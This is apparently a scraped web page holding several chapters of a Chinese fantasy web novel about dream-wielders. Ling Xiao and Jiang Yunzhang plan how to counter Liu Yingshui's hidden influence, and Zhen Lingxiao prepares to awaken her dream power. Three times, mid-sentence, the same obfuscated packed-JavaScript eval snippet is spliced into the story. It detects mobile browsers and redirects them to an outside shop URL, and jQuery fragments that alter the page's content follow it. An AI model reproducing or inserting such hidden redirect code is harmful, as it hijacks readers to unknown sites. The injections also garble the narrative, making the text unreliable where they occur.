凌霄的眼中闪烁着深思：“我才不相信冰雪聪明的甄令潇会看不透自己与甄令满之间真正的问题，没有勇气和好奇心面对成为御梦者的挑战。她只是在过去没有遇到机会，从来都不是不能。” “确实如此。”江云章赞同地说道，将魂书世界有勇有谋的双胞胎与此世界互相争吵拖累的双胞胎一对比，也同样感到了奇怪，“就算是用平行世界的区别来概括，好像也说不通。甄令潇在这个世界的学术成绩可一直都是名列前茅，头脑绝对没有问题。难道是因为甄令满那边参合了梦境力量，所以变得更加不似真正的灵魂，只有标签般的设定了吗？” 江云章很快就自己否认了自己提出来的假设：“不，不对。个人梦境完全受到梦境主人的控制，甄令满能够做出如此特立独行的思考和行为模式，只能用甄令满作为主人已经赋予他相应的灵魂与权限来解释。他不可能只是一个存在于角色设定之中的造物。” “渴望自由的主角在自己的心里听到了如同第二人格一般的声音。”凌霄总结了一下甄令潇现在所遇到的情况，“对方声称是她的哥哥，是她的灵魂也是她的一部分。并告诉了她能够实现愿望的方式。然而不愿意面对奢望的主角从一开始就拒绝面对自己的欲望与可能性，与自己的欲望现实化展开了斗争。直到有一天一个契机出现，让她意识到了自己应该更加勇敢，最终她接纳了自己的欲望，觉醒成为了御梦者。拥有了哥哥和自己梦寐以求的一切。” 凌霄没有忍住冷笑了一声：“听上去真像一个有始有终符合逻辑的美好故事。如果主角不叫甄令潇的话。” 拥有头脑的甄令潇从一开始就不会放弃摆在自己眼前的机会，就算可能是虚假的幻想也有实验的价值。与自己健康的身体与光明的未来相比，不承认自己的欲望能算得了什么？从来不会内耗的甄令潇连无精打采苟延残喘的自己都能接受，怎么就无法接受变成活力四射自信张扬的欲望？ 甄令潇怎么可能自己嫌弃自己的欲望丑陋？ 她当然是先要将欲望变成现实实现自己的目的再说后话了。 更别提甄令满本身就是为她量身打造的另一半，发自心底为她着想，深爱着她。比亲情友情更加深厚，永远不会背叛。甄令潇怎么可能厌烦一心一意为自己打算，听从自己的命令绝不背叛的甄令满？ 江云章已经听出了她的言外之意：“你的意思是有不知名的梦境力量在无意识中对甄令潇造成了影响？” “这也是我猜测刘应水与甄令潇的个人梦境有关联的原因。”凌霄点了点头，“以刘应水的能耐，他变成梦境居民以后又怎么可能不为自己留下后手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382324|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？‘漂流’只不过是他目前出现的规律，可从来不是他能力的性质。我怀疑他有能够影响一定范围内角色按照剧本行动的能力。” 江云章眼神一亮：“他确实一直以来都认为自己时天命之子，一切都在自己的掌握之中顺利进行。所有的事物都是围绕他这个中心旋转。若是他拥有此类的能力，倒也并不奇怪。毕竟他从来没有在意过旁人是否会脱离自己的掌控，只是将别人当做自己故事里无关紧要的配角，包括拥有传令任务的林云章。” 他低下头开始思索己方的应对方式：“既然如此，我们就需要加快甄令潇觉醒的速度了。只有尽快观测到他的真实信息，才能让梦境图鉴分析出更加有效的应对方式。留着他这样危险的家伙飘荡在梦境世界里实在危险。” “目前为止他的影响范围与程度应该还有限，所以才会使得由我介入后甄令潇迅速开始头脑在线，进行思考。”凌霄已经迅速想好了应对方式，“我当时离开前就已经察觉到了不对，刻意通过具现化甄令满将自己的梦境力量依附在了甄令潇身上。脱离刻板剧本的他们两个在我的隔绝范围内还有三个小时左右的时间，想必已经足够让他们商量出一个对甄令潇来说最好的选择。” “至于得到刘应水详细信息后他的处理方式我也想好了。到时候直接将他交给林语莲女士。被他入侵过个人梦境的林语莲女士一定不会拒绝这样一个优秀的实验对象，而我们也不用担心一心研究的林语莲女士会做出什么违反梦境管理局规则的事情。” 凌霄对自己的安排很是满意。 没有过早丧命一直以来刻苦钻研的林语莲取得了巨大的成就，就算是研究所的所长刘应水也无法保证自己能够百分百压制林语莲的风头。毕竟刘应水大部分时间都是在为自己的兴趣研究，而于科研一事上不甚挑剔的林语莲早就已经接到了梦境管理局的橄榄枝，成为了研究所中足以与刘应水抗衡的势力。 甚至可以说刘应水一死，从实验室里出来的林语莲必定是下一任研究所所长。 而与生母感情深厚的林云章，在上司刘应水与生母林语莲之间，自然会毫不犹豫选择自己的母亲。 在江云章体内沉默的林云章可以说是明确表露了自己的态度。 江云章沉默了一瞬，出于谨慎考虑再三确认了林云章态度以后，才接话道：“没有问题，我会安排研究所的人加快进度。让他们专注于林语莲的研究。” 好让现在正泡在实验室中的林语莲尽快出来接任研究所所长一职。 “明天我们应该就能收到甄令潇的主动联络了。希望她能够尽快脱离莫名力量的影响，不要忘了自己的初衷。”凌霄转头看向澎湃的星河与流转的星光，“为了尽快找到刘应水我也会联络叶青山做好万全的准备。但我还是希望甄令潇能够自己冲破那道屏障。” “那才是我认识的甄令潇。” 107. 106 江云章根据二人的推论，又联想到了些许蛛丝马迹：“林语莲肯定也受到了刘应水的一部分影响。研究所所长死亡这样重大的事情，就算是两耳不闻窗外事的她也不会完全袖手旁观。作为几乎板上钉钉的下任所长，她理应为了研究所的安定前来主持大局，而不是完全沉浸在自己的研究之中。她恐怕是在无意识之间被刘应水加强了专心研究的部分。” 凌霄赞同了江云章的观点：“仔细想来，同样见到过刘应水的聂雨林也没有沉迷梦境世界到完全不踏入现实。杜队长和队友们的存在早就已经让她鼓起勇气不再逃避，甚至冯舞清和江云光这两个令人操心的队友还转移了她的注意力。真是让人防不胜防的能力，如果不是我们对她们几人分外熟悉，恐怕根本认识不到她们身上发生的变化。” 进度飞速前进的计划和逐步明朗的信息都让江云章的精神放松了下来。尤其是意识到自己可以帮助凌霄处理刘应水的后续问题后，江云章欣喜于自己总算派上了用场。 研究所中除了林语莲之外一个人都没有遇到过刘应水的惨况让他对自己的贡献度非常不满，当时就没有忍住在心中将研究所除了林语莲以外的人全部痛骂了一遍。同样嫌弃研究所进度的林云章本来十分赞同江云章的言语，直到江云章骂到他头上，两个人才展开了激烈的言语对峙。 想到研究所，江云章突然灵光一闪，从心头冒出了可以一箭双雕的美妙计划。 “凌霄，你也知道，我从未与林语莲女士有过什么更加亲密的交集……”他的话语不掺杂任何一丝的虚假。生母是他永远都无法迈过去的门槛，只要心头想起林语莲三个字，他便觉得自己开始手足无措。更别说很可能要与对方面对面交流了。 他甚至早就已经忘记了林语莲的长相。 灵水教圣子模糊的记忆无法在他的心里留下鲜明的痕迹，刀赤城的江云章只有层层叠叠的研究报告和机密文档，甚至连林语莲的照片都已经被销毁。 林云章记忆中鲜活的生母像是遥不可及的幻梦。以至于让他不知该如何与对方相处。 当然，选择在正事商讨完毕后询问凌霄也掺杂了不少私心。他希望自己和凌霄的距离能够再进一步，所以主动剖开了自己的内心，毫不藏私将自己的情绪全部暴露在了凌霄面前。 “我有点担心我没办法在她面前完美扮演林云章。”他低下头，声音沉闷。 与生母交谈的机会触手可及，然而他却无法保证自己能够完美扮演生母的儿子。他当然清楚这只是发生在平行世界中的另一种可能，此地的林语莲严格来说并不是自己曾经日思夜想的母亲，也不是自己曾经抱着满腔疑问想要从她那里追寻到一个答案的母亲。 但是赋予他生命的人，到底无法替代。到底总是能够动摇他的情绪。 凌霄能够理解江云章近乡情怯的心情。倘若她在另一个世界重新遇到了梅凝海，那么她的表现恐怕也不会比江云章强到哪里去。 人类总是如此，总是下意识放不下和和美美的幻梦，总是舍不得亲手毁灭自己的念想。总是会睹物思人，总是会自欺欺人。 总是控制不住对另一种可能性的妄念。 “至少这个世界给了你一个见到她的机会，不是吗？”凌霄安慰他道，“你也是林语莲的亲生儿子。去见自己的母亲，又有什么好担心的呢？” “是啊。”江云章抬头，向后回望，“我也是林语莲的儿子。这是无可更改的事实。” 有绚丽的花团开在了星光之中，刹那便将混沌汹涌的夜幕点亮。不知从何吹来的风使得原本正盛放的花朵凋零，于是散落的花瓣反而成为了带来生机的使者，不断在所到之处盛放出耀眼的光芒。 凌霄注视着梦境世界的美景。欲望与梦境纠缠在一起，才创造了如此奇妙的景色。这让她联想起万花筒中的光彩，也如此刻独一无二，蕴藏着百般变化。 而江云章注视着凌霄。 透明化的汽车只剩下隐约的轮廓，好让处在车中的人能够拥有些许安心感，察觉到自己并没有直接无依无靠漂浮在梦中。于是他也能够没有阻挡注视着凌霄。 周边的宇宙每一秒都在发生如梦似幻的变化，带来无穷无尽的奇迹景象。然而这些对于江云章而言，不过是衬托凌霄的意外之景。更能引起他注意力的，恐怕只是星光投射在凌霄身上的倒影，让凌霄仿佛也被镀上了一层金边。 外界绚烂多彩的星河，恐怕还比不过凌霄嘴角细微的笑意。 他后知后觉意识到凌霄一定很喜欢此刻的星海。于是他这才将注意力放在了这个千变万化的梦境中，准备等到空闲时间，便将这片星海画下来送给凌霄。根据星海的特性，做成万花筒恐怕效果也非常不错，更符合梦境的变化特质。 “林语莲女士应该会喜欢莲花吧？”凌霄突然想起了什么。 正在速记梦境景色的江云章立刻给出了肯定答复：“没错。她确实很喜欢莲花，私人记号也有运用。” “那就好办了。”凌霄伸出手，任由金光化作绳索，顺着自己的指尖飞速延伸出去。正在不远处绽放的洁白莲花周围逐渐浮现出点点金光，像是被定在了原地一般，没有像其他的花朵那样迅速凋零。 金光凝成的金色绳索很快就触碰到了白莲花瓣，随后自动凝成圆圈，沿着白莲花的外围层层缠绕堆叠起来，将白莲牢牢的束缚在了内部。仍然保持着自己原本形状的白莲随着金色绳索原本的轨迹，迅速飘回了凌霄的手边。 凌霄轻点绳索，束缚着白莲的存在再次改换状态，化为薄薄的一层金色球形结界，并逐渐凝实，最终成为了玻璃般能够反射光芒的光滑质感。 她检查了一下白莲的状态，对自己的造物十分满意，确定毫无问题之后将其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399759|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交给了江云章。 江云章原本正在感叹凌霄的梦境力量运用熟练不愧是凌霄，短短几天就达到了如此程度，根本看不出来是新手。他原本以为凌霄选择白莲的原因是想起了雪百合，因此多看了几眼能让凌霄出手的花朵形态，准备成为自己日后作画的材料。却没有想到这个装着白莲的金球最终被递到了自己手里。 他迅速调整好了自己的表情，小心翼翼接过金球。触碰到金球的手指甚至在颤抖。 凌霄很满意自己的作品：“很好，看来状态也彻底稳定下来了。后续要往这个金球里增加什么元素就看你自己了，毕竟你是艺术家，肯定比我这个业余选手更加擅长如何表现这朵白莲的美。把这个作为礼物送给林语莲女士的话，你就不用担心你们的交谈氛围了吧？” 江云章的心情经历了如同过山车一般的起伏。他刚在为自己收到了来自凌霄的礼物激动了一秒，凌霄的下一句话就将他重新打回了地底。 哦，原来这个金球是送给林语莲的，和我无关。 林云章没有放过这个落井下石的机会，又在他的大脑里嘲讽他自作多情。 江云章没有理会同位体的嘲讽，快速转动自己的大脑，迅速找到了两全方案：“这确实是个非常好的主意，除了过节的纸钱与祭奠用的白花，我还没有真正送给过她花束。” 他十分清楚凌霄的脾气，所以毫不犹豫表明了自己的想法，丝毫没有隐藏：“不过我自己也很喜欢这个金球，还有些舍不得你自己亲手制作的礼物。所以、所以我能用梦境力量自己制作花束送给我母亲，将这个白莲留在自己手中吗？” 说道最后，他的语速也变得缓慢了起来。用十分渴望的眼神祈求着凌霄。 “既然已经交给了你，那么自然任由你决定了。”凌霄没有提出任何异议，不过下意识刻意往更加生疏的方面引导了几句，“送给林语莲女士的礼物，也确实最好全部由你自己来制作比较好。” 目的达成得到了金球的江云章心满意足，根本不在意凌霄口中十分疏离的借口：“谢谢！我一定会好好珍惜的！” 随后，他顺着凌霄的心意，岔开了话题：“既然你喜欢这朵白莲盛开时候的状态，还有这个梦境里的景色，等我们回去了我就再多给你画几幅画。你最喜欢哪个瞬间？” 提起了兴趣的凌霄对能够再现回忆的画面十分满意：“你觉得最能够衬托星海与花团色彩差异的是哪个瞬间？” 她与江云章兴致勃勃开始讨论起该用什么样的颜色来复制这一瞬的美梦，于是也从江云章写满了欣喜的眼瞳里看到了星海的倒影。 有同伴在身边分享这一刻的喜悦，确实是一种令人无法拒绝的美好。 更何况她所希望的距离，他为她保持了下去。 至少现在，凌霄明白一件事情。 她并不讨厌他的靠近。 108. 107 有了凌霄梦境力量的屏蔽，甄令潇很快就摆脱了既定的轨迹，迅速思考清楚了对自己最为有利的选项。不过出于保险，她还是提前联系了凌霄，告知对方自己准备将身体的控制权暂时交给甄令满，从而实际测试梦境力量能为自己的身体带来怎样的变化。如果出现任何意外，作为御梦者的凌霄也能在一旁提供有效的帮助。 凌霄自然没有拒绝甄令潇的请求，立刻动用杜队长的权限为甄令潇安排了适合的隔离室以及医疗设备，好能够最快得到精准的数据。 只是凌霄没有想到会在梦境管理局麾下的医院里看到冯舞清的身影。她早就已经按照杜队长的安排，以机密任务为理由暂时将冯舞清交给了自己的队友。负责冯舞清健康的叶青山确实在医院里工作，但现在却不是冯舞清日常检测的时间，按理来说她不应该在这里遇到冯舞清。 她所熟悉的人依旧还是那张看起来有些柔弱的面庞。由于被梦境管理局提高了危险程度，必须表现得安分守己，因此这里的冯舞清看上去更加乖巧懂礼，将一切可能包涵攻击性的因素全部从自己身上剔除。就连衣物也选择了看上去最为无害纯净的白色，力图让自己温柔安静顺从柔和的形象深入人心。 凌霄当然第一眼还是最先注视到了冯舞清的眼睛。 梦境力量幻化为了云雾一般迷蒙模糊的投影，恰到好处遮挡住了冯舞清脸上眼睛所存在的地方。使得她像是带上了一层云雾造就的梦幻眼罩，为她自身的形象又增添了几分由于缺陷带来的柔弱。 但是凌霄知道这具身体里藏着猛烈到随时可能会爆炸的灵魂。也从杜队长的记忆里看到了冯舞清真正的形象。 与【真实】的交易吞噬掉了她的眼球，却扩宽了她的视野。梦境中的冯舞清会不厌其烦抹去从自己空荡荡眼眶之中低落的血泪，带着微笑凝实着梦境之中的真实。她在现实中尚且维持着正常形象的雾气眼罩到那时也会变作鲜艳的红色，时时刻刻提醒着所有人，冯舞清到底付出了怎样的代价。 那是【真实】给予她的警示，也是给予所有御梦者的警示。 冯舞清自然隔着很远就已经注意到了凌霄的踪迹，因此脸上带着喜悦的笑意，前来向凌霄与新面孔打招呼：“队长下午好！这位是？” “这是即将成为同伴的甄令潇。”凌霄冲着冯舞清点了点头，在甄令潇面前没有选择第一时间询问她为何会出现在此地，而是开始为两人介绍彼此的身份，“这位是我的队员冯舞清。” 初次见面的两人礼貌地问好。 听到凌霄的介绍后，冯舞清脸上的笑容肉眼可见加深了不少：“看样子队长还有任务要完成，我就先不打扰了。” 她见好就收，很是体贴的退到了一遍，完全没有耽搁凌霄和甄令潇的时间。 任务为重的凌霄也因此转移了注意力，亲自带着甄令潇进门，为甄令潇详细介绍了一番隔离室的用途：“这里的显示屏能够显示出此地梦境力量的具体数值。根据你的要求，我特意又添加了对身体状况的监测，包括你的心跳等等。” 她凝聚出梦境力量幻化为了金色的纸片，将其贴在了甄令潇的肩膀上：“这是可以直接作用在你灵魂上的通讯手段。除了检测装备主动发出警报以外，如果你察觉到了不妥或是发生了不测不准备继续试验，那么便在内心呼唤我即可。我会立刻进来暂停实验。” 甄令潇点了点头，难得因为马上要发生的事情感到了几分紧张。 她刻意为了今天的事情准备好了能量，不但少见的认真吃饭补充了足够的营养，还强制自己拥有了双倍的睡眠。甚至从早上醒来到现在都没有进行学习，消耗自己的脑细胞，只是听了听音乐让自己紧张的心情放松下来。 充足的准备让她的头脑保持着清明的状态，再加上终于松口后情绪激动百依百顺不再添加麻烦的甄令满。她也对之后的事情产生了难以言喻的把握和信心，认为准备周全头脑聪颖的自己绝对不可能被甄令满这个满嘴胡话的家伙欺骗。自己一定可以成为个人梦境的主人，觉醒成为御梦者。 想到自己以后就可以控制甄令满并拥有健康的身体和充足的精力，甄令潇便立即干劲满满，对成为御梦者并掌控梦境力量势在必得。 凌霄对甄令潇的信任也在无形之中影响到了她。来自御梦者前辈的信任让她十分受用，增添了不少信心。再加上前面遇到的冯舞清视线从她身上划过时若有若无的妒意，瞬间再次将凌霄的地位升上一个台阶的甄令潇甚至感到了几分自得。 她认真地向凌霄道谢，望着对方光彩照人的身形消失在了隔离室冰冷的墙壁之后。 “她今天看上去也很、很厉害……等会儿我能亲自向她道个歉吗？昨天那个、我那个糟糕的态度，可别让她以为我就是这么糟糕的家伙了。”甄令满同样为接下来要发生的事情充满期待，但也没有忘记想要改善自己在凌霄心目中的形象。 “等我觉醒以后再说吧。”甄令潇岔开了话题，“我们现在最重要的还是梦境力量。我在短时间内还是无法发自内心认同你，才会选了这样迂回的方式。等我正式成为御梦者，我们有的是时间改变凌霄的想法。” 甄令满完全没有注意到甄令潇的用词是“我们”，赞同地说道：“没错，我们需要加把劲了！你放心，以我的武力值，很快就能让你当上猎梦者了……” 门后被隔离的交谈自然传不进凌霄的耳朵，她一走出门就看到了靠在墙上的冯舞清。独处的时间自然给了她提问的时机：“你今天怎么会来这里？” 冯舞清听到声音后便立刻凑到了凌霄身边，闻言立刻十分真诚地解释道：“我昨天确实按照安排接受了叶医生的检查。不过得知你身上有任务以后，我也想要帮上忙，所以就又回到了医院。” 她没有放过凌霄脸上任何细微的表情变化，见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419279|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到凌霄如自己预料一般没有太过生气以后，便安心地解释完了自己的想法：“我在医院对大家来说也是最稳定最安心的地方。而且还能够帮到队长的忙，所以我当仁不让，自然要作为一个合格的队员为队长分忧了。” 凌霄没有顺着她的意思往下说：“你看到了什么？” 现实世界中冯舞清的眼睛虽然受到一定的环境限制，却依旧能够发挥应有的作用。甄令潇身上正在发生的能量转换对冯舞清来说一览无遗。 “除了她自己的颜色和队长的金色以外，我感觉到了与那个‘漂流’类似的痕迹。”冯舞清立刻说出了自己得到的信息。她很清楚只有自己最终拿出了有效消息，才能够彻底打消队长生气的可能性。毕竟她确实是自作主张牵扯到了队长的机密任务里。即便她是出自好心想要帮队长的忙。 “看来我的推测并没有出错。”有了冯舞清视觉的保证，凌霄对刘应水正甄令潇个人梦境中的猜测又增添了几分把握。 他们这些受到官方管制的御梦者确实不缺探测旁人个人梦境的能力，然而却需要遵守隐私规则，不随意窥探旁人的个人领域。但是成为了梦境居民的刘应水自然就不受到梦境管理局对御梦者的掌控了，即便是个人梦境也毫无顾虑。 只可惜冯舞清眼睛所得到的信息受到一部分的限制，只能经由她自己理解后转化为文字信息告知旁人。并不能像是林语莲与聂雨林那样直接提取记忆研究刘应水的现状。因为她自己所看到的真实只有她自己能够理解，对旁人来说无非是一片漆黑中星星点点难以理解的乱码。 “能帮上忙我就很开心了。”冯舞清冲着凌霄灿烂一笑，意图十分明显。 “知道了，今天就不计较你擅自行动的事情了。”凌霄哼了一声，“不过下次你记得和雨林或者我报备一声。” 杜队长对冯舞清拥有信任，才会以自己为担保维持了冯舞清一定程度的自由。凌霄从局外人的角度也赞同度杜队长的判断。毕竟已经得到自己梦寐以求真实的冯舞清十分容易满足，几乎剔除了大部分的不可控性，拥有足够的理智和情商。 想要将冯舞清心中的不确定因素都剔除，引导着她向更好的一面转变，凌霄自然也需要付出一定程度的信任。 “遵命。”冯舞清冲着凌霄行了个不太规矩的礼，“这个任务后续需要我的话也随叫随到。毕竟我可是队长的人！” 她抱着凌霄的胳膊不松手，隔着云雾皱起眉头试图挤出可怜巴巴的视线。因为她知道凭借凌霄明锐的感官一定能够理解她视线的含义，即便没能看到她的眼睛。 “甄小姐还不一定会成为我们的队友呢。”凌霄当然接收到了冯舞清的意思。因为冯舞清比起凌霄小队的队员更像是她们的任务对象，而小队也因为杜队长的挑剔没有到达成员上限。 冯舞清恐怕将凌霄对甄令潇的信任与看好当做了对未来队友的信任。